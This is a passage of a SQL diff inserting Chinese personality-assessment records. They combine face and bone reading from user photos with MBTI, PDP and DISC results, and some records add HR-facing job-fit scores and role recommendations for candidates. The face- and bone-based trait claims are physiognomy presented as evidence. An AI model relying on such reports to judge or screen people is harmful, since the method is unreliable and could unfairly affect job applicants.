**现实行为中展现出较多“外向、高表达”的一面** \\n - 需要开会、汇报、谈判、对外沟通,这会拉高E、I(影响型)、孔雀型等维度分数。\\n - 这说明你**能且会主动沟通和影响别人**,而不是纯粹沉浸在自我世界。\\n\\n3. **在压力环境下,更倾向于掌控与推进,而不是退缩** \\n - ESTJ 的“总经理型”+ D/I/C 的组合,都指向“在压力下维持推动、控制与决策”的能力。\\n - 行为风格上很可能偏:**有节奏地快、决策时果断,对不落实的人和事容忍度低。**\\n\\n4. **做事习惯偏“系统+流程+节点管理”** \\n - 高J:习惯制定计划、重要事项要落到日程和清单上。\\n - 高S:注重实际可行性,关注细节执行而不是空谈概念。\\n - 高T:决策更多依靠逻辑、事实与收益,而不是“大家感觉如何”。\\n\\n人际模式方面,大概率是:\\n\\n- 在工作场合:可表现为开朗、健谈、逻辑清晰、能hold住场子,甚至带节奏。 \\n- 在私下/陌生场域:会更克制和选择性社交,不喜欢低效率的寒暄。\\n\\n这与“外部测评看起来很E/I/孔雀,面相与人设更偏INTJ/猫头鹰/C”的反差是吻合的: \\n**现实工作逼你表现得更外向、更具影响力,但内核仍偏理性与控制感。**\\n\\n---\\n\\n### 3. MBTI / PDP / DISC:交叉验证与“去伪存真”\\n\\n你这组数据里,**冲突点**非常明显:\\n\\n- 人脸分析:INTJ + 猫头鹰 + C(重逻辑、内敛、策略、规则) \\n- MBTI测评:ESTJ(极端E/S/T/J) \\n- PDP:孔雀 85%(高表现、爱社交) \\n- DISC:I 主 + C 次 + D 有一定比例(影响型+谨慎型+少量支配)\\n\\n如何去伪存真?可以这样理解:\\n\\n#### (1)认知风格:T + J 是确定的\\n\\n- T(思考型): \\n 所有系统都在强调你**强逻辑、重事实与结果**,几乎没有F(情感型)的显著证据。 \\n → 决策侧重“对不对”、“值不值”,而不是“大家开不开心”。\\n\\n- J(判断型): \\n 规划性、结构感、秩序感,一再出现(INTJ、ESTJ、C、猫头鹰)。 \\n → 你习惯有计划、有节点、有控制的推进过程,对“随时变化、完全随缘”的工作状态不适应。\\n\\n**结论:T+J 非常稳定,是真实性格的核心。**\\n\\n#### (2)内外向 & 表现欲:真实情况更像“工作型E,性格底色偏I”\\n\\n- 面相&骨相 + INTJ:指向**内敛、冷静、自我驱动** \\n- 但MBTI、PDP、DISC 又给出高E、高I、高孔雀\\n\\n合理解释是:\\n\\n- 你具备**足够的表达能力和外向行为资源**,可以在需要时主动讲话、谈判、展示、推动。\\n- 但这种外向更多是**“角色化的外向”**:基于角色需要(领导、项目负责人、业务推动者)而启用,而不是发自内心喜欢“永远在热闹中心”。\\n- 真正让你恢复能量的方式,很可能仍是:**独处、安静思考、系统性整理、自己控制节奏。**\\n\\n**结论:内心偏I,行为上能切换到E,是“可控外向型”的理性组织者。**\\n\\n#### (3)S vs N:实践偏S,思维可兼顾N,但以现实、落地为主\\n\\n- ESTJ 给出的 S 极高(务实、执行、落地);\\n- INTJ 带来的 N 是:愿意思考长远结构、系统规划、路径设计。\\n\\n在现实中,高位/中高责任岗位的人,往往要同时具备:\\n\\n- **N**:看方向、布局、预判风险; \\n- **S**:确保短期落地,盯执行、看细节。\\n\\n结合你“目标导向+统筹规划+稳定产出”的描述,比较可能是:\\n\\n- 思考方式上,愿意看全局和长远; \\n- 行动执行上,非常重视现实可行性与当前资源条件。\\n\\n**结论:略偏S 的 NJ 型,更像是“会算账的战略执行者”。**\\n\\n#### (4)PDP/ DISC 中的“孔雀 / I 型”如何理解?\\n\\n这部分不把它理解为“你就是典型孔雀型”,而看成:\\n\\n- 你在**工作角色中承担了较强的对人沟通与影响任务**:\\n - 需要激励团队、协调内外部资源、做跨部门沟通;\\n - 对外需要展示、路演、谈判、汇报。\\n- 因此在行为层面,被测评系统识别为高“影响、表现、社交”的典型特征。\\n- 但骨相与MBTI中的理性/规则侧,又说明:**你对人的态度并不浪漫化,带有功利理性与边界感。**\\n\\n**结论:你具备“高影响力的沟通能力”,但背后驱动并非“讨好”或“纯社交成瘾”,而是为了目标、为了事情推进。**\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- **决策:快而有依据** \\n 先快速收集核心信息,形成判断,然后迅速定调并推动执行。对拖拉和反复横跳会不耐烦。\\n- **执行:重纪律、重标准** \\n 更倾向于建立流程、指标、制度,要求团队遵守;“说了不做”是你最不能接受的点之一。\\n- **抗压方式:硬扛+理性拆解** \\n 面对压力,你不太会崩溃式发泄,更像是:“先稳住局面,分解问题,按优先级一件件解决”。\\n\\n### 2. 沟通风格\\n\\n- **表达风格:直、清晰、有条理** \\n 喜欢讲数据、事实、逻辑,少用含糊、情绪化的语句。对无效闲聊兴趣不大。\\n- **对下属/同事:要求明确,反馈直接** \\n 会说“哪里做得好,哪里不行,要改什么”;有时在敏感型同事眼中略“严厉/不够温情”。\\n- **对上级/客户:尊重但不迎合** \\n 能用专业和结果说话,不喜欢无原则的讨好;更多是通过“专业、靠谱”获取信任。\\n- **在人际距离上:适度保持边界** \\n 能友好相处,但保留个人空间,不轻易完全暴露自己的真实情绪和私生活。\\n\\n---\\n\\n## 四、优势亮点(可沉淀为职业竞争力)\\n\\n1. **逻辑清晰、判断力强** \\n 能快速抓住问题核心,基于事实与数据做决策,适合承担关键决策与把关角色。\\n\\n2. **规划与组织能力出色** \\n 擅长把目标拆解为计划、步骤、节点,并通过制度/流程保障执行落地。\\n\\n3. **稳定的抗压与责任心** \\n 面对压力与复杂局面,能撑得住、不轻易失控,适合在关键岗位顶住“最后一棒”。\\n\\n4. **可控输出的影响力** \\n 能在需要的时候表现为外向、能说会谈、有气场,既能面向团队也能对接外部。\\n\\n5. **原则性与可靠度** \\n 重承诺、重底线;在团队中容易被视作“可信赖、能依靠”的那一类人。\\n\\n---\\n\\n## 五、可提升方向(组合型性格的常见盲区)\\n\\n1. **情绪与表达的柔性度** \\n - 风险:过于强调效率与结果,容易在无意间让他人感到“冷/压迫感/不近人情”。 \\n - 建议:适度增加情绪化反馈,例如肯定情绪(“我知道这段时间大家很辛苦”)、表达感谢与支持,可以显著提升团队黏性。\\n\\n2. **对“非理性”因素的包容度** \\n - 风险:对拖沓、反复、情绪化个体耐受度低,可能在协作中产生隐性对立。 \\n - 建议:把他人的“情绪波动”视作一种“客观变量”,纳入你的系统管理中(例如:预留时间与空间给对方消化),而不是只看成“没道理”。\\n\\n3. **适当展示脆弱与人味** \\n - 风险:过度自控与硬扛,会让他人觉得你“不需要被理解”,从而难以建立真正深层信任。 \\n - 建议:在合适的范围内,适当分享自己的困难与真实感受,会增强团队对你的情感认同与愿意跟随的意愿。\\n\\n4. **警惕“过度掌控”倾向** \\n - 风险:TJ+C 型容易在关键事情上“什么都想亲自盯”,导致自己过劳+团队被动依赖。 \\n - 建议:对任务做“分层授权”:哪些必须你亲自把关,哪些只需设定标准与检查节点,刻意练习放手。\\n\\n5. **保留/发展 N 向的战略思维** \\n - 风险:若长期被业务压力拖入日常事务,可能把自己用成“高级执行官”,浪费战略潜力。 \\n - 建议:刻意留出思考时间,做中长期布局、预判行业变化,让自己持续处在“既能执行又能设计规则”的位置。\\n\\n---\\n\\n**综合结论一句话**: \\n你是一个以内在理性与秩序感为核心、在外部可切换为高影响力角色的组织者型人格。真正稳固的优势,在于:能兼顾“逻辑决策 + 计划执行 + 对人沟通”,但需要在柔性表达与授权放手上再做优化,以支撑更大规模、更高层级的管理与协作。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773218290, 1773218290, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (118, 29, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFJ\", \"title\": \"主人公\"}, \"overview\": \"外向温和,情绪稳定,人际感知敏锐,善于协调关系与推动事务落地。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg\"], \"boneAnalysis\": \"面骨平正不突兀,颧骨内敛有度,下颌圆厚,属土形偏稳健格局,重视责任与现实承载。\", \"faceAnalysis\": \"额头饱满,下庭有力,眼神柔中带定,鼻梁端正,嘴角上扬,整体给人亲和而踏实之感。\", \"personalitySummary\": \"性格外向友善,重视他人感受,做事稳中求进,沟通自然亲切,适合在协作与服务他人的场景中发挥长处。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218860, 1773218860, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (119, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理 / PM(偏交付与执行方向)\", \"运营管理岗(业务运营、门店/区域管理、流程与标准落地)\", \"销售团队管理 / 渠道拓展经理(需带团队并对业绩负责)\", \"中层管理岗(小团队负责人、业务线负责人)\", \"需要对接多部门的协调角色(如实施、客服运营主管等)\"], \"notSuitable\": [\"需要长时间独立、深度研究、极少沟通的纯技术/研究岗\", \"高度无结构、完全缺乏规则的创业环境早期核心岗位\", \"以情绪陪伴、共情为主的助人职业(如心理咨询、社工)\", \"需要极高创造性、不受任何约束的艺术型岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"抗压与稳定性\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"自驱力\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"沟通与影响力\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"团队协作与授权\", \"level\": \"medium\", \"value\": \"70%\"}, {\"label\": \"学习与反思能力\", \"level\": \"medium-high\", \"value\": \"75%\"}], \"headline\": \"一个偏结果导向的管理型执行者:敢站在前台、会说也能扛事,但在控制感与团队感受之间需要更好平衡。\"}, \"overview\": \"该候选人在不同测评结果中出现了明显分化:人脸&骨相+初始画像偏理性内敛型(INTJ / C / 猫头鹰),而正式测评结果则高度外向、表达型(ESTJ + 孔雀型 + DISC高I)。结合两类数据及通用职业行为规律,可推演其真实画像更可能是:外向-理性并存、重目标与结果、具较强表达与组织能力,但内核偏控制、自主与理性决策,既不是单一“冷静谋士型”,也不是典型“无拘无束的表演者型”。整体来看,是一个偏执行与管理导向、愿意站到台前但思维偏理性、对秩序与效率有要求的人。\", \"portrait\": {\"coreRisks\": [\"容易在自信与控制欲中不自觉压制他人,导致团队反馈不足\", \"在追求效率与结果时,可能忽略个体情绪与细节体验\", \"决策方式偏“自己想清楚再告知他人”,容易被误解为独断\", \"注意力在多目标并行时可能分散,优先级管理需要强化\", \"在人际上存在“既想影响他人又不愿过度暴露脆弱面”的矛盾,易形成距离感\"], \"workStyle\": \"工作风格偏“管理型执行者”:会主动承担责任、愿意站在前台协调和推动,关注结果和进度,习惯先搭好框架、再在框架内优化细节。面对任务时,倾向将复杂问题拆解为步骤,通过制定计划、分配任务、设定节点来推动。对模糊、标准不清的环境耐受度一般,更偏好目标明确、边界清晰的场景。决策时重视事实与逻辑,少受情绪左右,但在表达观点上往往坚定甚至强硬,需要学习更柔性的表达方式。\", \"coreStrengths\": [\"结果导向与执行力强,愿意对目标负责并推进落地\", \"逻辑与结构化思维良好,做事有步骤、有计划\", \"表达欲与影响力较强,能够带动氛围、说服他人\", \"对规则、流程和标准敏感,能维持团队基本秩序\", \"在中高压环境下具持续输出能力,抗压韧性较好\"]}, \"resumeHighlights\": \"(1)核心性格关键词:外向理性、结果导向、结构化执行、表达欲与控制感并存、在压力下表现稳定。 \\n\\n(2)真实性格深度分析:\\n- 性格底色:综合人脸/骨相“理性、克制、骨架稳健”与ESTJ/高I高T的结果,可以推断其底色为“理性+主导”的外倾型——不属于情绪化外向,而是带有明确目标、愿意组织他人的领导倾向。内心对秩序、掌控和自我效能感有较高需求,希望事情按自己的逻辑有序推进。\\n- 决策方式:偏向以事实、数据和经验为依据,重视“对不对”“能不能落地”,不太受他人情绪左右。在时间紧、压力大时,会更直接地下判断并要求执行,风险是忽略了团队的参与感与异议。\\n- 情绪管理:情绪整体可控,外显相对稳定,即便内心有焦虑或不满,也倾向通过“加快推进、加强控制”来应对,而不是公开化情绪。有一定“把情绪压成行动”的倾向,久而久之可能累积压力。\\n- 自我定位:倾向把自己定位为“能扛事、能组织、能把事干成”的角色,希望被视作可靠的执行与管理者;对被动、犹豫、效率低的环境耐受度低,容易产生批判和自行接管的冲动。\\n\\n(3)行为与沟通风格:\\n- 行为风格:\\n - 在团队中容易自然站到偏核心或组织位置,主动设定目标、推动节奏。\\n - 面对问题,第一反应是分析原因、提出解决方案,并推动执行,而不是陷在情绪中。\\n - 能接受一定压力与挑战,短期高压下反而会激发其行动力和决断力。\\n - 对拖延、反复无结论较为不耐烦,偏好“先做再调”的路径。\\n- 沟通风格:\\n - 表达相对直接、清晰,有较强说服与带动气氛的能力(对应PDP孔雀与DISC高I)。\\n - 但内核是理性和标准(对应ESTJ与C向特征),因此在给出意见时可能偏“讲道理”,容易忽略对方感受;在下属或同事眼中,可能被认为“有点强势、要求高”。\\n - 在不熟悉的人面前,会先以较正式、掌控局面的方式出现,一旦熟悉,则会释放更多幽默感和亲和度。\\n - 更习惯纵向汇报和横向协调,而不是进行情绪深度交流,对“无目的性闲聊”兴趣有限。\\n\\n(4)优势亮点:\\n1)目标感和执行落地\\n- 能较快把抽象目标拆解为具体行动,设定里程碑并持续跟进。\\n- 在执行过程中,会用节点、数据和进度来管理,而不是仅凭感觉。\\n\\n2)组织与协调能力\\n- 愿意站到前台整合资源、分配任务,协调不同角色的工作。\\n- 在跨部门或多方协作场景下,能够通过清晰沟通与结果导向推动共识。\\n\\n3)沟通与影响力\\n- 具备一定演讲、说明、说服能力,在会议和公开场合不怯场。\\n- 能够通过积极的态度和明确的方向感,给团队带来“有人带、能跟”的安全感。\\n\\n4)抗压能力与责任感\\n- 面对紧迫节点或高压任务,不容易情绪化,更偏向“咬牙顶上去”。\\n- 对自己负责的事情有较强责任心,不轻易“甩锅”。\\n\\n5)逻辑性与结构化\\n- 在汇报、沟通或写作时,通常能做到逻辑清晰、主线明确,让他人容易理解。\\n\\n(5)可提升方向(针对管理和职场表现):\\n1)平衡控制欲与团队参与感\\n- 建议在关键决策和任务拆解时,多做“先问后说”:先听团队意见,再给出自己的判断;即便已经想好方案,也可以有意识留出讨论空间。\\n- 学会用“共识感”取代“宣布式”沟通,有助于提升团队长期配合度和忠诚度。\\n\\n2)增强对情绪和关系的敏感度\\n- 在一对一沟通中,多关注对方状态,不只问“事情做得怎么样”,也问“你现在状态如何,有什么困难”。\\n- 对不同性格的人适配不同沟通节奏,如对谨慎型、安静型同事适当放慢语速、减少压迫感。\\n\\n3)管理好多任务并行下的优先级\\n- 对自己容易“一口气接太多”的倾向保持警觉,学会拒绝不合理任务或延后优先级较低事项。\\n- 使用更系统的时间与任务管理工具(如四象限法、项目管理软件),避免因注意力分散而影响交付质量。\\n\\n4)在“理性+效率”之外,增加一定弹性\\n- 对规则和流程的坚持是优势,但在高速变化的业务环境中,需要适当增加弹性和试错空间。\\n- 遇到不完美方案时,允许“先上线、再迭代”,避免因为追求完美标准拖慢整体进度。\\n\\n5)向上沟通与向下授权的双向优化\\n- 向上:多用数据和结果呈现自己的贡献,并适当表达对资源和支持的具体需求。\\n- 向下:在交代任务时讲清目标、边界、衡量标准,并给对方留下选择路径的空间,避免“事必躬亲”导致自己负荷过高。\\n\\n综合来看,该候选人适合担任“目标明确、有一定压力、需要组织与执行兼具”的岗位,尤其适合在已有基本制度和资源的团队中发挥“执中军、带队打仗”的角色。如果能在控制感、共情和授权方面进一步提升,将有潜力成长为稳健可靠的中高层管理者。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219017, 1773219017, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (120, 29, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESTJ\", \"title\": \"总经理\"}, \"overview\": \"目标感强、执行力硬,兼具管理力度与现实判断,适合在结构清晰的环境中带队达成高目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg\"], \"boneAnalysis\": \"面部骨架端正紧实,颧骨与下颌略见棱角,骨肉比例协调,属于稳健持久型格局,利于在中年后持续发力。\", \"faceAnalysis\": \"额头平阔饱满,眼神专注稳定,鼻梁端正,嘴角有力收紧,下颌略方,整体给人理性稳健、执行导向的印象。\", \"personalitySummary\": \"性格务实果断,重视责任与承诺,擅长统筹安排与执行落地,人际中偏直接理性,带有天然威信与管理气场。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219347, 1773219347, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (121, 31, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健务实、责任感强,重视规则与长期成果,适合承担关键管理与专业把控角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg\"], \"boneAnalysis\": \"面骨方正厚实,下颌承载力强,颧骨含而不露,属土形稳健格局,重视责任守成与长期积累。\", \"faceAnalysis\": \"额头平阔、眼神沉稳、鼻梁端正、嘴型收敛,下巴厚实,整体给人理性内敛、靠谱可信之感。\", \"personalitySummary\": \"性格沉稳自律,做事谨慎周全,强调原则与秩序;抗压能力强,遇事先分析后行动,擅长在复杂环境中稳步推进。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219366, 1773219366, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (122, 1, 'resume', '{\"content\": \"{\\\"version\\\":2,\\\"overview\\\":\\\"该候选人在不同测评与人脸分析中呈现出明显的矛盾:一组数据显示为理性、内敛、规划型(INTJ / 猫头鹰 / C型),另一组则呈现外向、表现欲强、偏人际与影响力导向(ESTJ + 孔雀 / I型)。结合骨相与面相给出的“冷静、自持、内敛坚决”,更接近前者理性克制的一面。因缺少简历细节,只能做结构化推演:此人更大概率是以理性、规划、规则为底色的思考型选手,在职场中为了完成工作目标,会主动使用外向沟通、影响力与表达技巧,看上去像“会说话的管理者”,本质仍是以结果和逻辑为核心的务实派。以下画像以“理性规划+适度外向表现”的复合型为基准。\\\",\\\"portrait\\\":{\\\"coreStrengths\\\":[\\\"强逻辑思维与结构化分析能力\\\",\\\"目标导向清晰,执行稳定可靠\\\",\\\"抗压持久,情绪外显少,能在高压下维持理性判断\\\",\\\"规划与统筹能力较强,善于搭建流程与标准\\\",\\\"在必要场合具备一定号召力与表达能力,可承担对外沟通或团队动员\\\",\\\"原则感与责任心强,做事有底线,有始有终\\\"],\\\"coreRisks\\\":[\\\"性格基底偏内敛克制,长时间高强度对外社交会消耗较大,容易出现“社交性疲惫”\\\",\\\"容易过度强调逻辑与效率,对他人的情绪、感受关注度不够,易被感性同事视为“冷”“不近人情”\\\",\\\"对标准和秩序要求较高时,可能显得苛刻或控制欲偏强\\\",\\\"在信息不完整、变化快速且缺少规则的环境中,可能出现犹豫、拉长决策时间\\\",\\\"对自己要求较高,易自我施压,长期缺乏正向反馈时有心态耗损风险\\\"],\\\"workStyle\\\":\\\"工作风格上偏“理性管理者+任务指挥官”混合型:①先搭框架再行动:习惯在动手前理清目标、路径、关键节点和风险点,做事有计划、有步骤,不喜欢无序试错。②结果导向而非过程社交:与人沟通多围绕目标、任务和问题解决,闲聊型社交动力不强,但能在关键场合表现出良好表达与组织协调能力。③高标准自我要求:对自己和团队的工作质量、进度有较高要求,希望事情“按正确方式做对”,对低效、反复、拖延容忍度低。④压力下更理性:面对时间压力、项目冲突时,情绪控制较好,更倾向冷静拆解问题、排序优先级,不会轻易情绪化爆发。⑤偏向“自己先想明白再沟通”:遇到复杂议题时,会先独立思考、整理方案,再与团队讨论,少有完全“边想边拉会”的即兴风格。\\\"},\\\"hrView\\\":{\\\"roleRecommend\\\":{\\\"bestFit\\\":[\\\"项目管理 / PMO(尤其是需要流程设计、风险控制的项目)\\\",\\\"运营管理、流程优化、质量管理(适合梳理制度、建立标准)\\\",\\\"中后台管理岗(数据驱动、以结果和效率为导向的岗位)\\\",\\\"B端客户管理 / 企业服务顾问(偏解决方案型,而非纯关系型销售)\\\",\\\"职能线负责人(如运营、风控、质控、后端支持团队负责人)\\\"],\\\"notSuitable\\\":[\\\"高度情绪劳动型岗位(如全天候高强度客户投诉处理、一线高压服务岗)\\\",\\\"完全缺乏结构与规则、极度混沌初创早期岗位(“一切从零、天天变”的纯探索岗)\\\",\\\"以高频公关应酬、人情维护为主的“关系型销售”“政府关系”类岗位\\\",\\\"需要持续舞台表现和情绪感染的主播 / 主持 / 纯内容网红型岗位\\\"]},\\\"riskNotes\\\":[\\\"候选人外显MBTI为ESTJ、PDP为孔雀、DISC为I型,说明其在测评中可能有刻意强调外向、领导、表现的一面;而人脸与骨相分析偏INTJ/猫头鹰/C型,显示天然更接近理性内敛型。HR在面谈时需要重点验证其真实社交动力与持续外向表现的稳定性。\\\",\\\"若岗位要求持续高频对外社交、情绪调节和高强度临场发挥,需要确认候选人是否会在半年到一年后出现精力透支或职业倦怠。\\\",\\\"若组织文化偏感性、人情化、随机决策,候选人可能因“过于理性、说话直接”而融入难度增大,需要有相对规则、边界清晰的团队环境。\\\"]}},\\\"bossView\\\":{\\\"headline\\\":\\\"以理性与规则为底色、能适度外向担当的执行型管理者:适合作为项目与业务的“带队人”,但需要匹配相对理性的组织氛围。\\\",\\\"metrics\\\":[{\\\"label\\\":\\\"岗位匹配度(对结构化、项目/运营类管理岗位)\\\",\\\"value\\\":\\\"85%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"抗压与稳定性(在有一定规则和资源支持的环境)\\\",\\\"value\\\":\\\"88%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"团队协作与带人潜力\\\",\\\"value\\\":\\\"80%\\\",\\\"level\\\":\\\"medium-high\\\"},{\\\"label\\\":\\\"对高频外向社交型岗位匹配度\\\",\\\"value\\\":\\\"60%\\\",\\\"level\\\":\\\"medium\\\"},{\\\"label\\\":\\\"组织文化适配(偏理性、制度化团队)\\\",\\\"value\\\":\\\"90%\\\",\\\"level\\\":\\\"high\\\"}],\\\"managementTips\\\":[\\\"给清晰目标和边界:对其说明业务目标、关键指标与决策权限,他会主动规划路径并执行落地,不宜长期让其在模糊需求下反复试错。\\\",\\\"用结果与逻辑沟通:在复盘、反馈时用数据、事实和案例说话,而非主要依赖情绪压力或模糊指令,其回应会更积极。\\\",\\\"授权问题解决,而不仅是任务执行:适合被赋予“问题包”,让他从诊断到方案到落地全权负责,而不是只做某个环节的螺丝钉。\\\",\\\"注意负荷与情绪补给:在大周期、高强度项目后,需安排阶段性复盘和合理休整,防止长期高压下的内耗。\\\",\\\"在团队中为其配备情感连接较强的搭档:由他主导逻辑与结构,由搭档增强团队氛围与情感链接,可以显著提升整体团队体验。\\\"]},\\\"resumeHighlights\\\":\\\"【性格底色与潜在特质】\\\\n- 人脸与骨相分析呈现“额头饱满、眉眼专注、下颌线清晰”,对应理性、克制、自律、目标感强的底色。\\\\n- 描述中“冷静自持、内敛坚决、重视原则与秩序、抗压持久”,与INTJ / 猫头鹰 / C型的理性规划、规则导向高度一致。\\\\n- 说明其在面对压力和不确定性时,更倾向通过理性分析与规划应对,而非情绪宣泄或短期冲动。\\\\n\\\\n【测评交叉验证与去伪存真】\\\\n- MBTI:人脸分析为 INTJ(内向、直觉、思考、判断型),正式测评结果为 ESTJ(外向、实感、思考、判断型)。两者共有:T(理性思考)、J(偏计划和结构);差异主要在E/I和N/S。结合面相内敛、克制特征,更接近“思考型、规划型”的I性格;但ESTJ的外向表达、组织能力也可能是其后天职场行为的表现。因此判断为:本质偏内向理性,具备职场训练出的管理与表达能力,可阶段性呈现外向管理者形态。\\\\n- PDP:系统结果为孔雀型(Peacock)偏表演、社交、影响力;人脸与骨相给出的则是“猫头鹰”(理性、分析、谨慎)。两者极为矛盾。考虑到孔雀型往往在测评中易受“理想领导形象”诱导而被高估,因此更大概率是候选人自我期望或在特定场景下的呈现,而非全天候特质。更可信的是:以猫头鹰为底,叠加一定外向与表现能力,而非纯孔雀。\\\\n- DISC:结果为I主C辅(影响型+一部分谨慎型),但面部和骨相充分印证C型特质——“稳健理性、看重原则、重视细节与秩序”。综合判断:C是稳定底色,I是可调用的工作模式(特别在需要推动他人、对外沟通时)。\\\\n- 综合三套系统:T(理性)、J(结构)、C(谨慎)、猫头鹰(分析)、以及适度I/孔雀(社交与影响力)反复出现,说明“理性规划+有组织力”是共识;而“极端外向、极爱表现”的部分可信度相对较低。\\\\n\\\\n【真实性格深度分析】\\\\n- 核心人格:以“理性、规划、原则”为核心驱动力,对世界的理解方式偏分析和拆解,希望事情有逻辑、有标准、有秩序。面对任务,先考虑“目标是什么”“路径怎么设计”“风险在哪里”,很少完全凭感觉即兴行事。\\\\n- 情绪与压力处理:情绪表达相对收敛,不容易在公共场合失控,习惯把压力内化为“我要把这件事做好”的自我要求。抗压持久,适合打“持久战”或长周期项目,但需要注意长期高压下的隐性疲劳和对自我否定的倾向。\\\\n- 对人对事的优先级:更看重事本身的逻辑、结果和专业度,对人际关系的期待是“基于合作与信任的长期关系”,而非短期的情绪互动。如果别人工作不专业、做事不靠谱,比起“对我好不好”,他更在意“事情有没有按标准完成”。\\\\n- 控制感需求:对可控性与确定性有一定需求,希望自己能掌握关键节奏、规则与资源。如果长期处在极高不确定、决策随意变动的环境中,会产生明显的挫败感和无力感。\\\\n\\\\n【行为与沟通风格】\\\\n- 沟通方式:语言通常偏直接、清晰、结果导向,不太绕圈。汇报和表达时注重逻辑结构(背景-问题-方案-风险-结论),在正式场合具备良好的“专业沟通者”形象,但不太擅长长时间轻松寒暄式社交。\\\\n- 决策风格:偏理性与数据驱动。喜欢先收集关键信息,再做判断;在时间有限时,也能基于经验快速决策,但更安心于有事实支撑的选择。对模糊信息有警惕,倾向做风险预案与B方案。\\\\n- 冲突处理:对事不对人,习惯用“规则、流程、职责边界”来拆解冲突。表达可能偏坚定甚至强硬,尤其在原则问题上,较少妥协。如果对方过于情绪化,他可能选择先保持冷静克制,但也容易被误认为“不近人情”。\\\\n- 团队协作:在明确自己负责的模块时,执行力强、稳定输出,是那种“交给他就不太需要操心”的人。带团队时,会强调规则、流程和标准,期待大家“按规范高质量交付”,在激励与情感关怀上相对务实,属于“用事带人”的管理风格。\\\\n\\\\n【优势亮点(对用人方有价值的部分)】\\\\n1. 逻辑与规划优势:\\\\n - 能快速理解复杂任务,拆解为可操作的计划和节点。\\\\n - 擅长梳理流程、制定标准、优化现有工作机制,适合承担“把混乱变有序”的角色。\\\\n2. 抗压和稳定性:\\\\n - 面对长周期、高强度项目能保持理性和执行稳定,不容易被短期情绪波动带偏。\\\\n - 适合承担关键节点的“项目守门人”,在节点压力下保障交付质量。\\\\n3. 责任感与原则性:\\\\n - 对承诺的事情有较强责任意识,不轻易甩锅或放弃。\\\\n - 在涉及风险、合规、质量的场景中,能坚守底线,避免团队和公司承担不必要的风险。\\\\n4. 适度外向与影响力:\\\\n - 虽非天然社交型人格,但通过训练与经验积累,能够在重要场合清晰表达、组织协调、推动他人行动。\\\\n - 在对外汇报、项目路演、跨部门协调中,有一定表现力和说服力。\\\\n\\\\n【可提升方向(对个人与管理者的建议)】\\\\n1. 平衡理性与共情:\\\\n - 在给下属或同事反馈时,建议先肯定努力与成果,再指出问题和改进方向,以缓冲其语言直接性带来的压力感。\\\\n - 有意识地询问对方感受与困难,不仅讨论“任务进度”,能提升团队对其的信任度与跟随意愿。\\\\n2. 管理好社交能量:\\\\n - 识别自己在高频社交和连续会议后的疲惫信号,安排必要的独处或安静工作时间,避免长期透支导致工作倦怠。\\\\n - 对自己在“需要表现”和“真实能量”的差距保持觉察,不必持续扮演高能外向者,可在团队中设计分工,让更擅长社交的人承担部分对外展示工作。\\\\n3. 增强在高不确定环境中的“试错容忍度”:\\\\n - 接受部分阶段性混沌和不完美信息,在某些创新或探索性项目中,允许“小步快跑、边试边调”的模式,不必一开始就追求最优方案和完整闭环。\\\\n - 将“控制一切”转为“控制关键变量”,在战略上保持弹性,战术上保持严谨。\\\\n4. 调整对自己和他人的标准层级:\\\\n - 区分“必须做到”的底线标准与“最好做到”的理想标准,避免对所有事情一视同仁地高要求,导致自己和团队负荷过高。\\\\n - 在不同阶段选定1—2个核心优先级,允许次要事项“合格即可”,提升整体效率与心态弹性。\\\"}\\\"}\", 